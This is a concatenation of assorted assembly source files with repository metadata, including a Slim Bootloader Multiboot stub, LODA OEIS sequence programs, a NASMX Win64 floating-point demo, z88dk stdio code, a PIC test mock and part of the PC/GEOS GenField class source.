'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'00': 155} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
23.345455
464
0.655763
dca988f43b5004f8c2439ac4d8c25ad1e78bf425
794
nasm
Assembly
BootloaderCommonPkg/Library/MultibootLib/X64/MultibootJump.nasm
smnarayanan/slimbootloader
9f146afd47e0ca204521826a583d55388850b216
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
1
2020-04-25T08:13:18.000Z
2020-04-25T08:13:18.000Z
BootloaderCommonPkg/Library/MultibootLib/X64/MultibootJump.nasm
smnarayanan/slimbootloader
9f146afd47e0ca204521826a583d55388850b216
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
2
2020-06-02T11:16:52.000Z
2020-06-09T15:35:46.000Z
BootloaderCommonPkg/Library/MultibootLib/X64/MultibootJump.nasm
smnarayanan/slimbootloader
9f146afd47e0ca204521826a583d55388850b216
[ "BSD-2-Clause-NetBSD", "PSF-2.0", "BSD-2-Clause", "Apache-2.0", "MIT", "BSD-2-Clause-Patent" ]
null
null
null
;------------------------------------------------------------------------------ ; ; Copyright (c) 2017 - 2020, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; MultibootJump.nasm ; ; Abstract: ; ; This is the code that goes from payload to a Multiboot enabled OS. ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; JumpToMultibootOs ( ; IA32_BOOT_STATE state ; ); ;------------------------------------------------------------------------------ global ASM_PFX(JumpToMultibootOs) ASM_PFX(JumpToMultibootOs): ; TBD: Need porting jmp $ ret
26.466667
80
0.390428
6074aa1fb845dd8ba11dce9515e22b2fc5c6253f
1,012
asm
Assembly
oeis/230/A230971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/230/A230971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/230/A230971.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A230971: Number of (n+2) X (2+2) 0..3 arrays x(i,j) with each element diagonally or antidiagonally next to at least one element with value (x(i,j)+1) mod 4, no adjacent elements equal, and upper left element zero. ; Submitted by Jon Maiga ; 16,144,1024,9216,85264,767376,6885376,61968384,557904400,5021139600,45188555776,406697001984,3660288323344,32942594910096,296483216441344,2668348947972096,24015141771494416,216136275943449744,1945226472333337600,17507038251000038400,157563344359419736336,1418070099234777627024,12762630892209224126464,114863678029883017138176,1033773102277081124894224,9303957920493730124048016,83735621284370365380576256,753620591559333288425186304,6782585324034658447449379600,61043267916311926027044416400 seq $0,230929 ; Number of black-square subarrays of (n+2) X (2+2) 0..3 arrays x(i,j) with each element diagonally or antidiagonally next to at least one element with value (x(i,j)+1) mod 4, no adjacent elements equal, and upper left element zero. pow $0,2 div $0,4 mul $0,16
112.444444
494
0.829051
f311456ddb0493e673cab918184b685f5bc3cac3
766
asm
Assembly
programs/oeis/103/A103519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/103/A103519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/103/A103519.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A103519: a(1) = 1, a(n) = sum of n successive numbers starting with a(n-1) + 1. ; 1,5,21,94,485,2931,20545,164396,1479609,14796145,162757661,1953092010,25390196221,355462747199,5331941208105,85311059329816,1450288008607025,26105184154926621,495998498943605989,9919969978872119990,208319369556314520021,4583026130238919440715,105409600995495147136721,2529830423891883531281604,63245760597297088282040425,1644389775529724295333051401,44398523939302555973992388205,1243158670300471567271786870146,36051601438713675450881819234669,1081548043161410263526454577040535,33527989338003718169320091888257081 add $0,1 sub $1,$0 mov $2,1 lpb $0 lpb $2 trn $2,9 cmp $3,0 mul $3,3 lpe mul $3,$0 sub $0,1 add $1,$3 lpe sub $1,2 div $1,2 add $1,1 mov $0,$1
36.47619
517
0.802872
5427266bcd4909387f26e32421067c5831579ace
2,518
asm
Assembly
demos/win64/DEMO4/demo4.asm
gbmaster/nasmx
299fac2950cb10df2afef149da6e075b3ff3cdde
[ "BSD-2-Clause" ]
18
2015-06-22T07:26:13.000Z
2021-09-09T19:47:44.000Z
demos/win64/DEMO4/demo4.asm
gbmaster/nasmx
299fac2950cb10df2afef149da6e075b3ff3cdde
[ "BSD-2-Clause" ]
null
null
null
demos/win64/DEMO4/demo4.asm
gbmaster/nasmx
299fac2950cb10df2afef149da6e075b3ff3cdde
[ "BSD-2-Clause" ]
5
2015-09-22T14:47:09.000Z
2021-11-08T18:53:11.000Z
;// DEMO4.ASM ;// ;// Written by Rob Neff ;// Copyright (C)2005-2014 The NASMX Project ;// %include 'nasmx.inc' IMPORT printf DEFAULT REL entry demo4 [section .data] szStringFmt: declare(NASMX_TCHAR) 13,10,NASMX_TEXT("The area of the circle is %8.4f"),13,10,0 [section .code] NASMX_PRAGMA CALLSTACK, 32 ; The following simple procedure calculates the area of a circle given ; it's radius. It makes use of the XMM0 floating point register and ; leaves the result in XMM0 for the function return value. ; ; Prototype: ; double CalculateAreaOfCircle(double radius); ; ; Note that functions that accept float-type arguments must specify ; the parameters expected; otherwise, without a prototype, NASM-X ; cannot know to pass the argument in a floating point register. ; proc CalculateAreaOfCircle, double_t radius locals local pi, double_t endlocals ; When dealing with the XMM registers use either movq or movsd, not mov. ; You cannot assign an immediate to the register, eg: ; movq xmm0, 3.14 ; movq xmm0, __double(3.14) ; However, these operations are valid: ; movq xmm0, rax ; movq xmm0, xmm1 ; movq xmm0, [argv(.radius)] ; Register XMM0 automatically saved during proc ; prologue since we specified the parameter. ; xmm0 contains the radius, so square the value mulsd xmm0, [argv(.radius)] ; assign the float value pi to local variable, ; as there is no instruction mov mem, imm64 mov rax, __double(3.14159) mov qword [var(.pi)], rax ; multiply the values, return result in xmm0 mulsd xmm0, [var(.pi)] endproc proc demo4, ptrdiff_t argcount, ptrdiff_t cmdline locals local area, double_t endlocals ; calculate the area of a circle with a radius of 2.0 mov rcx, __double(2.0) mov qword [var(.area)], rcx ; ; Various ways to provide a double precision floating point ; for properly prototyped procedures: ; invoke CalculateAreaOfCircle, qword [var(.area)] ; invoke CalculateAreaOfCircle, __double(2.0) ; invoke CalculateAreaOfCircle, rcx invoke CalculateAreaOfCircle, qword [var(.area)] ; vararg functions like printf are tricky regarding floating point ; so we leave the result in xmm0 and copy it to rdx since rdx is ; the register used for parameter 2 in win64 mode movq rdx, xmm0 invoke printf, szStringFmt, rdx endproc
29.623529
98
0.67633
8d9421262a81db49fe848fe8022f21aea3dcd261
1,497
asm
Assembly
libsrc/stdio_new/file/stream-in/stdio_incommon2.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/stdio_new/file/stream-in/stdio_incommon2.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
libsrc/stdio_new/file/stream-in/stdio_incommon2.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
; stdio_incommon2 ; 05.2008 aralbrec XLIB stdio_incommon2 LIB stdio_atou_any_stream, l_neg ; common code for number scan converters ; ; enter : ix = FILE * ; b = radix ; c = flags [000a*WLN] ; hl = & parameter list ; de = number * ; bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; on exit : bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; de = scanned number (suppress flag only) ; hl = & parameter list ; carry set if EOF reached .stdio_incommon2 push hl ; save & parameter list push de ; save number * push bc ; save c = flags ld e,b ; e = radix call stdio_atou_any_stream ; hl = unsigned int from stream or a ; clear carry pop bc bit 0,c ; is this number negative? call nz, l_neg ; if so hl=-hl bit 3,c ; suppressing assignment? jr nz, suppress0 pop de ex de,hl ; hl = number *, de = number ld (hl),e inc hl ld (hl),d pop hl ; hl = & parameter list exx inc de ; increase number of conversions done exx ret .suppress0 ex de,hl pop hl pop hl ret
25.372881
68
0.490982
98429ae6ebf5535957f76d6a447506a788f7747a
239
asm
Assembly
programs/oeis/020/A020753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/020/A020753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/020/A020753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A020753: Sizes of successive increasing gaps between squarefree numbers. ; 1,2,3,4,5,6,7,8,9,10,12,13,14,15,16,17,18,19 mov $1,$0 sub $0,3 mov $3,5 add $1,1 add $0,1 lpb $0,1 add $2,$3 sub $1,5 add $1,6 add $2,2 mov $0,$2 lpe
14.9375
74
0.615063
4f4d097bb08cbfc1303c2b5b1860d699eb936782
990
asm
Assembly
4.asm
jacobggman/assembly-exercises
0482dacaf87204cdaa48d0c3e67e65b7c3029074
[ "Apache-2.0" ]
null
null
null
4.asm
jacobggman/assembly-exercises
0482dacaf87204cdaa48d0c3e67e65b7c3029074
[ "Apache-2.0" ]
null
null
null
4.asm
jacobggman/assembly-exercises
0482dacaf87204cdaa48d0c3e67e65b7c3029074
[ "Apache-2.0" ]
null
null
null
.386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc includelib \masm32\lib\user32.lib .data BUFFER_LENGTH EQU 1024 szMessageBoxFormat BYTE "The result is %d", 0 szMessageBoxText BYTE 0 dup(BUFFER_LENGTH) .code start: main proc mov eax, 1234 ; dividend mov ecx, 100 search: mov edx, 0 ; clear dividend push eax div ecx ; EAX = 0x80, EDX = 0x3 pop eax test edx, edx jz find inc ecx jmp search find: push ecx call display_number_in_message_box ret main endp display_number_in_message_box proc ;Create a string representation of the number mov eax, [esp + 4] invoke wsprintf, ADDR szMessageBoxText, ADDR szMessageBoxFormat, eax ;Display that string in a message box invoke MessageBoxA, NULL, ADDR szMessageBoxText, NULL, MB_OK ret 4 display_number_in_message_box endp end start
18.333333
71
0.678788
4f9a7999606ca2b412d4364fd745503a6d97d0ba
399
asm
Assembly
programs/oeis/312/A312932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/312/A312932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/312/A312932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A312932: Coordination sequence Gal.5.81.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,9,13,18,22,27,31,36,40,44,49,53,58,62,67,71,76,80,84,89,93,98,102,107,111,116,120,124,129,133,138,142,147,151,156,160,164,169,173,178,182,187,191,196,200,204,209,213,218 mul $0,8 sub $0,1 mul $0,5 div $0,9 add $0,1
44.333333
176
0.721805
0d2430d3f22ccfe23cf9b145ab4d239f5994c1eb
568
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/convert_fastcall.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/convert_fastcall.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/convert_fastcall.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math16 PUBLIC _f16_f32_fastcall PUBLIC _f32_f16_fastcall PUBLIC _f16_f24_fastcall PUBLIC _f24_f16_fastcall PUBLIC _f24_f32_fastcall PUBLIC _f32_f24_fastcall EXTERN asm_f24_f32 EXTERN asm_f32_f24 EXTERN asm_f16_f24 EXTERN asm_f24_f16 ._f16_f32_fastcall call asm_f24_f32 jp asm_f16_f24 ._f32_f16_fastcall call asm_f24_f16 jp asm_f32_f24 defc _f16_f24_fastcall = asm_f16_f24 defc _f24_f16_fastcall = asm_f24_f16 defc _f24_f32_fastcall = asm_f24_f32 defc _f32_f24_fastcall = asm_f32_f24
18.322581
36
0.783451
45b58a9eb45595053fa92b32fc646c0e6ef1081a
429
asm
Assembly
src/firmware-tests/Platform/Buttons/PollAfterButtonsMock.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
1
2019-12-12T09:07:08.000Z
2019-12-12T09:07:08.000Z
src/firmware-tests/Platform/Buttons/PollAfterButtonsMock.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
src/firmware-tests/Platform/Buttons/PollAfterButtonsMock.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
#include "Platform.inc" #include "PollChain.inc" #include "TestDoubles.inc" radix decimal udata global calledPollAfterButtons calledPollAfterButtons res 1 PollAfterButtonsMock code global initialisePollAfterButtonsMock global POLL_AFTER_BUTTONS initialisePollAfterButtonsMock: banksel calledPollAfterButtons clrf calledPollAfterButtons return POLL_AFTER_BUTTONS: mockCalled calledPollAfterButtons return end
16.5
38
0.846154
861b3441681b578ce0d9db84560e9299e2c4d5b8
806
asm
Assembly
oeis/049/A049672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/049/A049672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/049/A049672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A049672: a(n) = (F(4*n) - F(n))/2, where F=A000045 (the Fibonacci sequence). ; Submitted by Jamie Morken(s1) ; 0,1,10,71,492,3380,23180,158899,1089144,7465159,51167050,350704322,2403763416,16475639933,112925716670,774004377655,5305104928368,36361730123272,249227005938340,1708227311451263,11708364174230460,80250321908178071,550043889183042110,3770056902373158886,25840354427429138352,177112424089630920025,1213946614199987480530,8320513875310281732839,57029650512971985117204,390887039715493614844604,2679179627495483320019900,18363370352752889627276587,125864412841774744074122976,862687519539670318896772903 mov $2,$0 mul $2,2 mov $3,$0 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. add $1,$0 add $2,2 lpe mov $0,$1
47.411765
501
0.78536
4ef39cb6cfeffd29d2a17f70fae5e67383469cdb
3,492
asm
Assembly
ugbc/src/hw/6847/cls.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
ugbc/src/hw/6847/cls.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
3
2021-11-27T14:19:16.000Z
2021-12-21T14:44:50.000Z
ugbc/src/hw/6847/cls.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS, ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * Licenza. Una copia della Licenza è disponibile all'indirizzo: ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto, ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* CLEAR SCREEN ROUTINE FOR 6847 * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * CLS LDA CURRENTMODE CMPA #0 BNE CLS0X JMP CLS0 CLS0X CMPA #1 BNE CLS1X JMP CLS1 CLS1X CMPA #2 BNE CLS2X JMP CLS2 CLS2X CMPA #3 BNE CLS3X JMP CLS3 CLS3X CMPA #4 BNE CLS4X JMP CLS4 CLS4X CMPA #5 BNE CLS5X JMP CLS5 CLS5X CMPA #6 BNE CLS6X JMP CLS6 CLS6X CMPA #7 BNE CLS7X JMP CLS7 CLS7X CMPA #8 BNE CLS8X JMP CLS8 CLS8X CMPA #9 BNE CLS9X JMP CLS9 CLS9X CMPA #10 BNE CLS10X JMP CLS10 CLS10X CMPA #11 BNE CLS11X JMP CLS11 CLS11X CMPA #12 BNE CLS12X JMP CLS12 CLS12X CMPA #13 BNE CLS13X JMP CLS13 CLS13X CMPA #14 BNE CLS14X JMP CLS14 CLS14X RTS CLS0 CLS1 CLS2 CLS3 CLS4 CLS5 CLS6 JMP CLST CLS7 CLS9 CLS11 CLS13 LDA _PAPER ANDA #$03 LDB #$aa MUL JMP CLSG CLS8 CLS10 CLS12 CLS14 LDA _PAPER CMPA #0 BEQ CLSG0 LDA #$FF JMP CLSG CLSG0 LDA #$0 JMP CLSG CLSG LDY BITMAPADDRESS LDX CURRENTFRAMESIZE CLSGL1 STA , Y+ LEAX -1, X CMPX #0 BNE CLSGL1 RTS CLST LDY TEXTADDRESS LDX CURRENTFRAMESIZE LDA EMPTYTILE CLST2 STA , Y+ LEAX -1, X CMPX #0 BNE CLST2 RTS
22.384615
80
0.500859
e33e698d948aaa1cd1e304cb5795063b247bca8d
233
asm
Assembly
programs/oeis/052/A052566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/052/A052566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/052/A052566.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A052566: E.g.f.: (2 + x)/(1 - x^2). ; 2,1,4,6,48,120,1440,5040,80640,362880,7257600,39916800,958003200,6227020800,174356582400,1307674368000,41845579776000,355687428096000,12804747411456000 mov $1,$0 cal $0,142 gcd $1,2 mul $1,$0
29.125
153
0.729614
66a5a95d99af1b70e57bec03a028246fe9ffc025
112,649
asm
Assembly
Library/User/Gen/genField.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/User/Gen/genField.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/User/Gen/genField.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: UserInterface/Gen FILE: genFieldClass.asm ROUTINES: Name Description ---- ----------- GLB GenFieldClass Class that implements a field window REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 2/89 Initial version DESCRIPTION: This file contains routines to implement the GenField class. $Id: genField.asm,v 1.2 98/05/04 05:45:22 joon Exp $ ------------------------------------------------------------------------------@ COMMENT @CLASS DESCRIPTION----------------------------------------------------- GenFieldClass Synopsis -------- GenFieldClass Implements a field window Additional documentation ------------------------ Fields will be used to represent a "Room" or "Work group". We wish to have separate mechanisms for: Active Field ------------ This will be an exclusive stored in the System object. This field will be given the focus, & the system object will respond to the query for a new application's parent with the active field. Here are the rules governing the active field: 1) It is an illegal condition for the Active Field to have DETACHED applications. Hence, the methods used to set this field as the active app must FIRST re-attach any applications, before the field may be made the active field. Since a field must be realized before applications may be (re-)launched within it, the sequence of events to bring up a field is: optional MSG_GEN_FIELD_SET_VIS_PARENT optional MSG_GEN_FIELD_SET_UI_LEVEL MSG_META_ATTACH - to put in generic tree MSG_GEN_SET_USABLE - make usable, will realize the field, but NOT give it the active focus, instead bringing it up in back MSG_GEN_BRING_TO_TOP -> MSG_GEN_SYSTEM_GRAB_FIELD_EXCL - sent to system, to make active field -> Calls MSG_GEN_FIELD_RESTORE_APPS to restart any detached apps, to prevent illegal state. MSG_GEN_FIELD_SHUTDOWN_APPS will do nothing if the field currently has the focus, to prevent illegal situation. It is a lower level mechanism than the field focus, & will not force the loss of focus. MSG_GEN_SYSTEM_RELEASE_FIELD_EXCL - sent to system, to cause field to lose focus & be pushed to the back, if it doesn't have focus. 2) The active field will have the field focus & will be on top, in order to be visible. Detached Apps ------------- While the field group does NOT have the focus, some or all applications within it may be detached. Any apps which are detached will be stored in reference form in the instance data of the field, so that they may be brought back to life. The following methods may be used: MSG_GEN_FIELD_SHUTDOWN_APPS - forcibly shuts down ALL apps (system being shut down) MSG_GEN_FIELD_REQUEST_SHUTDOWN_OF_APPS (Not yet implemented) - will shutdown any apps which can easily shutdown & restore. This will be called automatically MSG_GEN_FIELD_RESTORE_APPS - restarts all apps Workspace menu NOT YET IMPLEMENTED: -------------- This is the menu which is associated with the field. The standard menu varies somewhat between specific UI's, but for the most part is the same stuff, allowing launching of apps, exiting, etc. We will be extending the Primary windows of specific UI's to provide a button in the title area which will cause this menu to be brought up at that location, as if the menu were part of the application. Specific UI's which have pop-up menus will in addition cause this menu to come up when pressing FEATURES in the background of the field itself. Implementation: The specific UI should send MSG_GEN_FIELD_CREATE_WORKSPACE_MENU to create the workspace menu. It should provide a default menu in response. Alternatively, an environment app which subclasses GenField may intercept this method, and provide their own workspace menu. They should send MSG_GEN_FIELD_CREATE_SPECIFIC_WORKSPACE_SUBGROUP to the GenField, which the specific UI should process, returning a group containing ONLY the items specific to the UI. Specific Primary windows may then cause this menu to come up by sending MSG_GEN_FIELD_POPUP_WORKSPACE_MENU to the field. AppWindows menu NOT YET IMPLEMENTED: ---------------- This is the menu which contains the list of applications currently running in the field. The contents of this list will be the same across all specific UI's, & will contain the list of all application objects which are set USABLE in the field. Selecting an application from this menu will bring that app to the top. Implementation: The specific UI should provide this menu & manage the contents, based on MSG_GEN_FIELD_ADD_APP_TO_RUNNING_LIST & MSG_GEN_FIELD_REMOVE_APP_FROM_RUNNING_LIST, which will be sent to the field by the default process class for the applications. MSG_GEN_FIELD_POPUP_APP_WINDOWS_MENU may be used by primary windows to cause this menu to come up in a certain place. ------------------------------------------------------------------------------@ UserClassStructures segment resource ; Declare the class record GenFieldClass UserClassStructures ends ;----------------------- Init segment resource COMMENT @---------------------------------------------------------------------- METHOD: GenFieldInitialize DESCRIPTION: Initialize object PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_META_INITIALIZE RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: NOTE: THIS ROUTINE ASSUME THAT THE OBJECT HAS JUST BEEN CREATED AND HAS INSTANCE DATA OF ALL 0'S FOR THE VIS PORTION REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 10/91 Initial version ------------------------------------------------------------------------------@ GenFieldInitialize method static GenFieldClass, MSG_META_INITIALIZE or ds:[di].GI_attrs, mask GA_TARGETABLE ; force options to be loaded push ax mov ax, ATTR_GEN_INIT_FILE_KEY or mask VDF_SAVE_TO_STATE clr cx call ObjVarAddData pop ax mov di, offset GenFieldClass GOTO ObjCallSuperNoLock GenFieldInitialize endm Init ends BuildUncommon segment resource COMMENT @---------------------------------------------------------------------- METHOD: GenFieldBuild -- MSG_META_RESOLVE_VARIANT_SUPERCLASS for GenFieldClass DESCRIPTION: Build an object PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS cx - master offset of variant class to build RETURN: cx:dx - class for specific UI part of object (cx = 0 for no build) ALLOWED TO DESTROY: ax, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/89 Initial version ------------------------------------------------------------------------------@ GenFieldBuild method GenFieldClass, MSG_META_RESOLVE_VARIANT_SUPERCLASS call GenSpecGrowParents ; Make sure all generic parents are ; built out before this object is ; determine UI to use mov cx, GUQT_UI_FOR_FIELD mov ax, MSG_SPEC_GUP_QUERY call UserCallSystem ; ask system object what UI should be mov bx, ax ; bx = handle of specific UI to use mov ax, SPIR_BUILD_FIELD mov di,MSG_META_RESOLVE_VARIANT_SUPERCLASS call ProcGetLibraryEntry GOTO ProcCallFixedOrMovable GenFieldBuild endm BuildUncommon ends ;--------------------------------------------------- Init segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldEnableBitmap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets the bit in the instance data that allows the field to draw the BG bitmap. CALLED BY: GLOBAL PASS: nothing RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/11/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldEnableBitmap method dynamic GenFieldClass, MSG_GEN_FIELD_ENABLE_BITMAP ornf ds:[di].GFI_flags, mask GFF_LOAD_BITMAP ret GenFieldEnableBitmap endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldAttach -- MSG_META_ATTACH for GenFieldClass DESCRIPTION: Adds field onto system object only. Must be set usable AFTER this call. PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_META_ATTACH RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: 